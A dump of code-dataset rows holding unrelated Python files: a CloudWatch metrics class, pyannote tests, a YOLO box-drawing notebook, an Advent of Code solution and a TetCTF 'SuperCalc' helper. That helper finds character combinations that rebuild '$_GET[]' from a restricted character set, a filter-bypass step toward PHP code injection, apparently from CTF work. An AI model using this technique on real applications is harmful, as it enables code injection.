hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
de020519de24bcbd6d6cb989877a3591a24cb541
| 4,589
|
py
|
Python
|
taskflow/monitoring/aws.py
|
awm33/taskflow
|
5c86b50c6d8bce43a04fba1b856b1d56f3c36b6a
|
[
"MIT"
] | 22
|
2017-07-02T08:13:48.000Z
|
2021-03-16T16:55:41.000Z
|
taskflow/monitoring/aws.py
|
awm33/taskflow
|
5c86b50c6d8bce43a04fba1b856b1d56f3c36b6a
|
[
"MIT"
] | 14
|
2017-06-27T19:43:45.000Z
|
2017-12-22T16:16:11.000Z
|
taskflow/monitoring/aws.py
|
awm33/taskflow
|
5c86b50c6d8bce43a04fba1b856b1d56f3c36b6a
|
[
"MIT"
] | 1
|
2020-03-31T10:05:26.000Z
|
2020-03-31T10:05:26.000Z
|
import boto3
from .base import MonitorDestination
class AWSMonitor(MonitorDestination):
def __init__(self,
metric_prefix='',
metric_namespace='taskflow',
*args, **kwargs):
self.metric_namespace = metric_namespace
self.metric_prefix = metric_prefix
self.cloudwatch = boto3.client('cloudwatch')
super(AWSMonitor, self).__init__(*args, **kwargs)
def heartbeat_scheduler(self, session):
self.cloudwatch.put_metric_data(
Namespace=self.metric_namespace,
MetricData=[
{
'MetricName': self.metric_prefix + 'scheduler_heartbeat',
'Value': 1,
'Unit': 'Count'
}
])
def task_retry(self, session, task_instance):
self.cloudwatch.put_metric_data(
Namespace=self.metric_namespace,
MetricData=[
{
'MetricName': self.metric_prefix + 'task_retry',
'Value': 1,
'Unit': 'Count'
},
{
'MetricName': self.metric_prefix + 'task_retry',
'Dimensions': [
{
'Name': 'task_name',
'Value': task_instance.task_name
}
],
'Value': 1,
'Unit': 'Count'
}
])
def task_failed(self, session, task_instance):
self.cloudwatch.put_metric_data(
Namespace=self.metric_namespace,
MetricData=[
{
'MetricName': self.metric_prefix + 'task_failure',
'Value': 1,
'Unit': 'Count'
},
{
'MetricName': self.metric_prefix + 'task_failure',
'Dimensions': [
{
'Name': 'task_name',
'Value': task_instance.task_name
}
],
'Value': 1,
'Unit': 'Count'
}
])
def task_success(self, session, task_instance):
self.cloudwatch.put_metric_data(
Namespace=self.metric_namespace,
MetricData=[
{
'MetricName': self.metric_prefix + 'task_success',
'Value': 1,
'Unit': 'Count'
},
{
'MetricName': self.metric_prefix + 'task_success',
'Dimensions': [
{
'Name': 'task_name',
'Value': task_instance.task_name
}
],
'Value': 1,
'Unit': 'Count'
}
])
def workflow_failed(self, session, workflow_instance):
self.cloudwatch.put_metric_data(
Namespace=self.metric_namespace,
MetricData=[
{
'MetricName': self.metric_prefix + 'workflow_failure',
'Value': 1,
'Unit': 'Count'
},
{
'MetricName': self.metric_prefix + 'workflow_failure',
'Dimensions': [
{
'Name': 'workflow_name',
'Value': workflow_instance.workflow_name
}
],
'Value': 1,
'Unit': 'Count'
}
])
def workflow_success(self, session, workflow_instance):
self.cloudwatch.put_metric_data(
Namespace=self.metric_namespace,
MetricData=[
{
'MetricName': self.metric_prefix + 'workflow_success',
'Value': 1,
'Unit': 'Count'
},
{
'MetricName': self.metric_prefix + 'workflow_success',
'Dimensions': [
{
'Name': 'workflow_name',
'Value': workflow_instance.workflow_name
}
],
'Value': 1,
'Unit': 'Count'
}
])
| 33.742647
| 77
| 0.394639
| 295
| 4,589
| 5.867797
| 0.132203
| 0.11554
| 0.120162
| 0.165222
| 0.801849
| 0.801849
| 0.767187
| 0.75621
| 0.75621
| 0.60543
| 0
| 0.005791
| 0.510787
| 4,589
| 135
| 78
| 33.992593
| 0.765256
| 0
| 0
| 0.603175
| 0
| 0
| 0.126607
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055556
| false
| 0
| 0.015873
| 0
| 0.079365
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e7541bcffbd59faef60cf09cff2ce5920c0260eb
| 74
|
py
|
Python
|
1c. beginner_path_3_How to Think Like a Computer Scientist Learning with Python 3/thinkcs-python3-solutions/Chapter 11/E3.py
|
codeclubbentleigh/Python
|
94d6a937aa3520b201ee1641c2009bd90566d52a
|
[
"MIT"
] | 12
|
2018-11-14T03:55:58.000Z
|
2021-12-12T01:13:05.000Z
|
1c. beginner_path_3_How to Think Like a Computer Scientist Learning with Python 3/thinkcs-python3-solutions/Chapter 11/E3.py
|
codeclubbentleigh/Python
|
94d6a937aa3520b201ee1641c2009bd90566d52a
|
[
"MIT"
] | null | null | null |
1c. beginner_path_3_How to Think Like a Computer Scientist Learning with Python 3/thinkcs-python3-solutions/Chapter 11/E3.py
|
codeclubbentleigh/Python
|
94d6a937aa3520b201ee1641c2009bd90566d52a
|
[
"MIT"
] | 7
|
2019-10-10T06:28:58.000Z
|
2022-02-15T07:18:12.000Z
|
arm = [1, 2, 3]
b = arm[:]
# b is now [1,2,3]
b[0] = 5
# b is now [5,2,3]
| 12.333333
| 18
| 0.418919
| 21
| 74
| 1.47619
| 0.428571
| 0.193548
| 0.193548
| 0.258065
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.207547
| 0.283784
| 74
| 5
| 19
| 14.8
| 0.377358
| 0.445946
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e75a79eae76920a2e66d1112d92ca7b7fb730164
| 4,462
|
py
|
Python
|
tests/test_train.py
|
hadware/pyannote-audio
|
dff09d364a019dff78cafb5d52c8490ab3d937df
|
[
"MIT"
] | 1
|
2022-02-23T08:46:10.000Z
|
2022-02-23T08:46:10.000Z
|
tests/test_train.py
|
hadware/pyannote-audio
|
dff09d364a019dff78cafb5d52c8490ab3d937df
|
[
"MIT"
] | 2
|
2022-02-16T14:19:17.000Z
|
2022-02-23T14:12:28.000Z
|
tests/test_train.py
|
FrenchKrab/pyannote-audio
|
14e3b999e3b3fa6063d6401c375a9f7a2534cb74
|
[
"MIT"
] | null | null | null |
import pytest
from pytorch_lightning import Trainer
from pyannote.audio.models.segmentation.debug import SimpleSegmentationModel
from pyannote.audio.tasks import (
OverlappedSpeechDetection,
Segmentation,
VoiceActivityDetection,
)
from pyannote.database import FileFinder, get_protocol
@pytest.fixture()
def protocol():
return get_protocol(
"Debug.SpeakerDiarization.Debug", preprocessors={"audio": FileFinder()}
)
def test_train_segmentation(protocol):
segmentation = Segmentation(protocol)
model = SimpleSegmentationModel(task=segmentation)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_train_voice_activity_detection(protocol):
voice_activity_detection = VoiceActivityDetection(protocol)
model = SimpleSegmentationModel(task=voice_activity_detection)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_train_overlapped_speech_detection(protocol):
overlapped_speech_detection = OverlappedSpeechDetection(protocol)
model = SimpleSegmentationModel(task=overlapped_speech_detection)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_finetune_with_task_that_does_not_need_setup_for_specs(protocol):
voice_activity_detection = VoiceActivityDetection(protocol)
model = SimpleSegmentationModel(task=voice_activity_detection)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
voice_activity_detection = VoiceActivityDetection(protocol)
model.task = voice_activity_detection
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_finetune_with_task_that_needs_setup_for_specs(protocol):
segmentation = Segmentation(protocol)
model = SimpleSegmentationModel(task=segmentation)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
segmentation = Segmentation(protocol)
model.task = segmentation
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_transfer_with_task_that_does_not_need_setup_for_specs(protocol):
segmentation = Segmentation(protocol)
model = SimpleSegmentationModel(task=segmentation)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
voice_activity_detection = VoiceActivityDetection(protocol)
model.task = voice_activity_detection
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_transfer_with_task_that_needs_setup_for_specs(protocol):
voice_activity_detection = VoiceActivityDetection(protocol)
model = SimpleSegmentationModel(task=voice_activity_detection)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
segmentation = Segmentation(protocol)
model.task = segmentation
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_finetune_freeze_with_task_that_needs_setup_for_specs(protocol):
segmentation = Segmentation(protocol)
model = SimpleSegmentationModel(task=segmentation)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
segmentation = Segmentation(protocol)
model.task = segmentation
model.freeze_up_to("mfcc")
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_finetune_freeze_with_task_that_does_not_need_setup_for_specs(protocol):
vad = VoiceActivityDetection(protocol)
model = SimpleSegmentationModel(task=vad)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
vad = VoiceActivityDetection(protocol)
model.task = vad
model.freeze_up_to("mfcc")
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_transfer_freeze_with_task_that_does_not_need_setup_for_specs(protocol):
segmentation = Segmentation(protocol)
model = SimpleSegmentationModel(task=segmentation)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
voice_activity_detection = VoiceActivityDetection(protocol)
model.task = voice_activity_detection
model.freeze_up_to("mfcc")
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
def test_transfer_freeze_with_task_that_needs_setup_for_specs(protocol):
voice_activity_detection = VoiceActivityDetection(protocol)
model = SimpleSegmentationModel(task=voice_activity_detection)
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
segmentation = Segmentation(protocol)
model.task = segmentation
model.freeze_up_to("mfcc")
trainer = Trainer(fast_dev_run=True)
trainer.fit(model)
| 30.772414
| 80
| 0.781936
| 510
| 4,462
| 6.513725
| 0.105882
| 0.074353
| 0.10295
| 0.120108
| 0.825105
| 0.806442
| 0.806442
| 0.806442
| 0.806442
| 0.793498
| 0
| 0
| 0.142313
| 4,462
| 144
| 81
| 30.986111
| 0.868043
| 0
| 0
| 0.72381
| 0
| 0
| 0.01143
| 0.006723
| 0
| 0
| 0
| 0
| 0
| 1
| 0.114286
| false
| 0
| 0.047619
| 0.009524
| 0.171429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e7dd4e87e6e997d5fd3205b71c7c392413bc634a
| 5,683
|
py
|
Python
|
draw_bbox.py
|
aritejhg/YOLOv3_AGX
|
48d4f36dee548952f88ad2e8e921ea21c69f9b0f
|
[
"MIT"
] | null | null | null |
draw_bbox.py
|
aritejhg/YOLOv3_AGX
|
48d4f36dee548952f88ad2e8e921ea21c69f9b0f
|
[
"MIT"
] | null | null | null |
draw_bbox.py
|
aritejhg/YOLOv3_AGX
|
48d4f36dee548952f88ad2e8e921ea21c69f9b0f
|
[
"MIT"
] | null | null | null |
{"nbformat":4,"nbformat_minor":0,"metadata":{"colab":{"name":"draw_bbox.py","provenance":[],"collapsed_sections":[],"mount_file_id":"1hBrQbCBA-3Hj5UpqH8HJDAki_uw1TOjj","authorship_tag":"ABX9TyOf/mIhrr0zprZA9LhfDsSi"},"kernelspec":{"name":"python3","display_name":"Python 3"},"language_info":{"name":"python"},"accelerator":"GPU"},"cells":[{"cell_type":"code","metadata":{"id":"KwdP8nBjLBYr"},"source":["#using https://github.com/ivder/YoloBBoxChecker.git and https://github.com/pjreddie/darknet/issues/723#issuecomment-803872581\n","\n","import cv2\n","import colorsys\n","import os\n","from os import walk, getcwd\n","import numpy as np\n","import shutil\n","from pathlib import Path\n","\n","\"\"\" Configure Paths\"\"\"\n","home_path = str(Path(__file__).absolute()).rstrip('draw_bbox.py')\n","model_resolution_epochs = input (\"Please input <model>_<resolution>_<epochs>: \")\n","dataset_folder = input(\"Please input dataset folder name: \")\n","text_file_path = home_path + str(dataset_folder) + '/results' + '_' + str(model_resolution_epochs) + '.txt'\n","out_dir = home_path + str(dataset_folder) + '/detection_results/' + str(model_resolution_epochs) + '/' #generate new folder for each ver\n","print (out_dir)\n","\n","'''\n","This script is meant to read a yolo log file with batch inferred results\n","and draw predicted bounding boxes on the source pictures. Run it with\n","hardcoded paths that you NEED TO MODIFY, READ THE SCRIPT THROUGH.\n","\n","The file needed as input can be obtained by running this command:\n","./darknet detector test PATH/obj.data PAestTH/yolov4.cfg PATH/yolov4.weights -dont_show -ext_output < PATH/test.txt > results_yo.txt\n","\n","Where test.txt is a textfile with the absolute path of each of the images\n","to be batch-inferred and results_yo.txt is the output that will be generated\n","by darknet. Inside this file, each predicted image should look something \n","like this, adjust file scraping to if neccesary for further releases:\n","\n","\"\"\"\n","Enter Image Path: Detection layer: 82 - type = 28 \n"," Detection layer: 94 - type = 28 \n"," Detection layer: 106 - type = 28 \n","/content/drive/MyDrive/Dataset_2000/0001d48938a45d49_jpg.rf.2490cc9c42e5c21a7b856426039a6ebc.jpg: Predicted in 44.825000 milli-seconds.\n","Closed Door: 41%\t(left_x: -32 top_y: 11 width: 728 height: 468)\n","Closed Door: 33%\t(left_x: 257 top_y: -5 width: 777 height: 493)\n","Person: 100%\t(left_x: 618 top_y: 293 width: 74 height: 249)\n","Enter Image Path: Detection layer: 82 - type = 28 \n","\"\"\"\n"," \n","'''\n","#convert yolo coords to format required for plotting\n","def convert(size,x,y,w,h):\n"," box = np.zeros(4)\n"," dw = 1./size[0]\n"," dh = 1./size[1]\n"," x = x/dw\n"," w = w/dw\n"," y = y/dh\n"," h = h/dh\n"," box[0] = x-(w/2.0)\n"," box[1] = x+(w/2.0)\n"," box[2] = y-(h/2.0)\n"," box[3] = y+(h/2.0)\n","\n"," return (box)\n","\n","# create ouput path if doesnt exist + init counter 'idx'\n","try: \n"," out_path = Path (out_dir)\n"," out_path.mkdir(parents=True)\n"," print (\"directory created\")\n","except: \n"," print ('directory exists')\n","idx = False #used as flag for image out\n","\n","# required format params for drawing annotations\n","thickness = 2\n","font = cv2.FONT_HERSHEY_SIMPLEX\n","fontScale = 0.9\n","# read the output of the YOLO log to load predictions\n","with open(text_file_path, 'r') as file:\n"," for line in file.readlines():\n"," if home_path in line:\n"," # load file as cv2 image from text file\n"," picpath = line.split(':')[0]\n"," print (picpath)\n"," pic = cv2.imread(picpath)\n"," #reading ground truth file \n"," gt_path = picpath.rstrip('.jpg\\n') + '.txt'\n"," gt_file = open(gt_path, \"r\")\n"," gt_box = gt_file.readlines()\n"," #adding gt to file \n"," for id, line in enumerate(gt_box):\n"," value = line.split()\n"," x=y=w=h=cls= None\n"," cls = value[0]\n"," x = float(value[1])\n"," y = float(value[2])\n"," w = float(value[3])\n"," h = float(value[4])\n","\t\n"," img_h, img_w = pic.shape[:2]\n"," bb = convert((img_w, img_h), x,y,w,h)\n"," pic = cv2.rectangle(pic, (int(round(bb[0])),int(round(bb[2]))),(int(round(bb[1])),int(round(bb[3]))),(0,255,0),2)\n","\n"," # when a prediction is recorded, add the bbox to the current image\n"," if '%' in line:\n"," # read the class + confidence score as title\n"," title = line.split('%')[0] + '%'\n"," \n"," # use the class initial to define color\n"," hue = ord(title[0]) - (100.5 - ord(title[0])) * 15\n"," color = tuple(255 * i for i in colorsys.hsv_to_rgb(hue/360.0, 1, 1))\n"," \n"," # work out where to draw the bounding box depending on output img size\n"," x1, y1, w, h = [int(abs(int(i))) for i in line[:-2].replace('-','').split() if i.isdigit()]\n"," \n"," # actually overwrite the picture with box + title\n"," pic = cv2.rectangle(pic, (x1, y1), (x1 + w, y1 + h), color, thickness)\n"," pic = cv2.putText(pic, title, (x1, y1), font, fontScale, color, thickness, cv2.LINE_AA)\n","\n"," if \"Enter Image\" in line:\n"," if idx == False: #idx used as flag here, to get past the first \n"," idx = True\n"," elif idx == True:\n"," cv2.imwrite(os.path.join(out_dir, picpath.lstrip(home_path + str(dataset_folder) + '/')),pic)\n"," print (\"image saved at \" + os.path.join(out_dir, picpath.lstrip(home_path + str(dataset_folder) + '/')))\n","\n","\n"],"execution_count":null,"outputs":[]}]}
| 5,683
| 5,683
| 0.622207
| 922
| 5,683
| 3.753796
| 0.342733
| 0.012135
| 0.015891
| 0.020803
| 0.115574
| 0.057209
| 0.052586
| 0.052586
| 0.052586
| 0.052586
| 0
| 0.042183
| 0.161534
| 5,683
| 1
| 5,683
| 5,683
| 0.684155
| 0
| 0
| 0
| 0
| 12
| 0.788353
| 0.108726
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 9
|
99afc535d5925e714453458bd118c195bfc043cc
| 2,756
|
py
|
Python
|
2015/Day6.py
|
trajkan/AdventOfCode
|
9c7255ddf38b64b2d351a5bbb7ce0050644967bf
|
[
"MIT"
] | null | null | null |
2015/Day6.py
|
trajkan/AdventOfCode
|
9c7255ddf38b64b2d351a5bbb7ce0050644967bf
|
[
"MIT"
] | null | null | null |
2015/Day6.py
|
trajkan/AdventOfCode
|
9c7255ddf38b64b2d351a5bbb7ce0050644967bf
|
[
"MIT"
] | null | null | null |
""" Day 6: Probably a fire hazard """
import json
import re
with open('input_d6.txt') as f:
data = f.readlines()
lights_grid = []
for x in range(1000):
for y in range(1000):
lights_grid.append([x, y, 0])
xy_regex = re.compile(r'([0-9,]*) through ([0-9,]*)')
# action = ''
for instructions in data:
if 'on' in instructions:
action = 'on'
elif 'off' in instructions:
action = 'off'
elif 'toggle' in instructions:
action = 'toggle'
first_xy = xy_regex.search(instructions).group(1)
second_xy = xy_regex.search(instructions).group(2)
x1 = int(first_xy.split(',')[0])
y1 = int(first_xy.split(',')[1])
x2 = int(second_xy.split(',')[0])
y2 = int(second_xy.split(',')[1])
delta_x = x2 - x1
delta_y = y2 - y1
for x in range(x1,x1+delta_x+1):
for y in range(y1, y1+delta_y+1):
pos = x*1000 + y
if action == 'on':
lights_grid[pos] = [x, y, 1]
elif action == 'off':
lights_grid[pos] = [x, y, 0]
elif action == 'toggle':
if lights_grid[pos][2] == 0:
lights_grid[pos] = [x, y, 1]
elif lights_grid[pos][2] == 1:
lights_grid[pos] =[x, y, 0]
on = 0
for light in lights_grid:
on += light[2]
print('number of light on: ', on)
""" part 2 """
lights_grid = []
for x in range(1000):
for y in range(1000):
lights_grid.append([x, y, 0])
xy_regex = re.compile(r'([0-9,]*) through ([0-9,]*)')
# action = ''
for instructions in data:
if 'on' in instructions:
action = 'on'
elif 'off' in instructions:
action = 'off'
elif 'toggle' in instructions:
action = 'toggle'
first_xy = xy_regex.search(instructions).group(1)
second_xy = xy_regex.search(instructions).group(2)
x1 = int(first_xy.split(',')[0])
y1 = int(first_xy.split(',')[1])
x2 = int(second_xy.split(',')[0])
y2 = int(second_xy.split(',')[1])
delta_x = x2 - x1
delta_y = y2 - y1
for x in range(x1,x1+delta_x+1):
for y in range(y1, y1+delta_y+1):
pos = x*1000 + y
if action == 'on':
brightness = lights_grid[pos][2]
lights_grid[pos] = [x, y, brightness + 1]
elif action == 'off':
brightness = lights_grid[pos][2]
if brightness > 0:
lights_grid[pos] = [x, y, brightness-1]
elif action == 'toggle':
brightness = lights_grid[pos][2]
lights_grid[pos] = [x, y, brightness+2]
brightness_total = 0
for light in lights_grid:
brightness_total += light[2]
print('Total brightness:', brightness_total)
| 26.247619
| 59
| 0.535196
| 390
| 2,756
| 3.658974
| 0.158974
| 0.126139
| 0.10932
| 0.068676
| 0.816398
| 0.79958
| 0.746321
| 0.71829
| 0.71829
| 0.685354
| 0
| 0.050341
| 0.308055
| 2,756
| 104
| 60
| 26.5
| 0.697955
| 0.019956
| 0
| 0.792208
| 0
| 0
| 0.066144
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.025974
| 0
| 0.025974
| 0.025974
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
82458dbfcbaa4ef608d5bffdf5806e9e93079a9d
| 1,889
|
py
|
Python
|
2021_TetCTF/SuperCalc/findingChars.py
|
Haltz01/CTFs_Writeups
|
573d20e79e7a378d5b7802ad3d9934b7dadfa34a
|
[
"MIT"
] | null | null | null |
2021_TetCTF/SuperCalc/findingChars.py
|
Haltz01/CTFs_Writeups
|
573d20e79e7a378d5b7802ad3d9934b7dadfa34a
|
[
"MIT"
] | 1
|
2022-02-13T09:04:31.000Z
|
2022-02-13T09:04:31.000Z
|
2021_TetCTF/SuperCalc/findingChars.py
|
Haltz01/CTFs_Writeups
|
573d20e79e7a378d5b7802ad3d9934b7dadfa34a
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
wantedChars = ['$', '_', 'G', 'E', 'T', '[', ']']
availableChars = [
'0',
'1',
'2',
'3',
'4',
'5',
'6',
'7',
'8',
'9',
'(',
')',
'.',
'~',
'^',
'|',
'&',
'+',
'-',
'*',
'/'
]
for char1 in availableChars:
for char2 in availableChars:
if (chr(ord(char1) ^ ord(char2)) in wantedChars):
print(char1 + " ^ " + char2 + " = " + chr(ord(char1) ^ ord(char2)))
wantedChars.remove(chr(ord(char1) ^ ord(char2)))
if (chr(ord(char1) & ord(char2)) in wantedChars):
print(char1 + " & " + char2 + " = " + chr(ord(char1) & ord(char2)))
wantedChars.remove(chr(ord(char1) & ord(char2)))
if (chr(ord(char1) | ord(char2)) in wantedChars):
print(char1 + " | " + char2 + " = " + chr(ord(char1) | ord(char2)))
wantedChars.remove(chr(ord(char1) | ord(char2)))
print("===============================")
for char1 in availableChars:
for char2 in availableChars:
for char3 in availableChars:
if (chr(ord(char1) ^ ord(char2) ^ ord(char3)) in wantedChars):
print(char1 + " ^ " + char2 + " ^ " + char3 + " = " + chr(ord(char1) ^ ord(char2) ^ ord(char3)))
wantedChars.remove(chr(ord(char1) ^ ord(char2) ^ ord(char3)))
if (chr(ord(char1) & ord(char2) ^ ord(char3)) in wantedChars):
print(char1 + " & " + char2 + " ^ " + char3 + " = " + chr(ord(char1) & ord(char2) ^ ord(char3)))
wantedChars.remove(chr(ord(char1) & ord(char2) ^ ord(char3)))
if (chr(ord(char1) | ord(char2) ^ ord(char3)) in wantedChars):
print(char1 + " | " + char2 + " ^ " + char3 + " = " + chr(ord(char1) | ord(char2) ^ ord(char3)))
wantedChars.remove(chr(ord(char1) | ord(char2) ^ ord(char3)))
| 34.981481
| 115
| 0.47009
| 198
| 1,889
| 4.479798
| 0.141414
| 0.121759
| 0.223224
| 0.284104
| 0.927847
| 0.927847
| 0.927847
| 0.927847
| 0.801578
| 0.801578
| 0
| 0.057971
| 0.305982
| 1,889
| 54
| 116
| 34.981481
| 0.618612
| 0.008999
| 0
| 0.083333
| 0
| 0
| 0.055556
| 0.01656
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.145833
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
415e9f5feb0bd721137bb89b5282e901995b6747
| 26,088
|
py
|
Python
|
bindings/python/src/cloudsmith_api/apis/webhooks_api.py
|
cloudsmith-io/cloudsmith-api
|
bc747fa6ee1d86485e334b08f65687630b3fd87c
|
[
"Apache-2.0"
] | 9
|
2018-07-02T15:21:40.000Z
|
2021-11-24T03:44:39.000Z
|
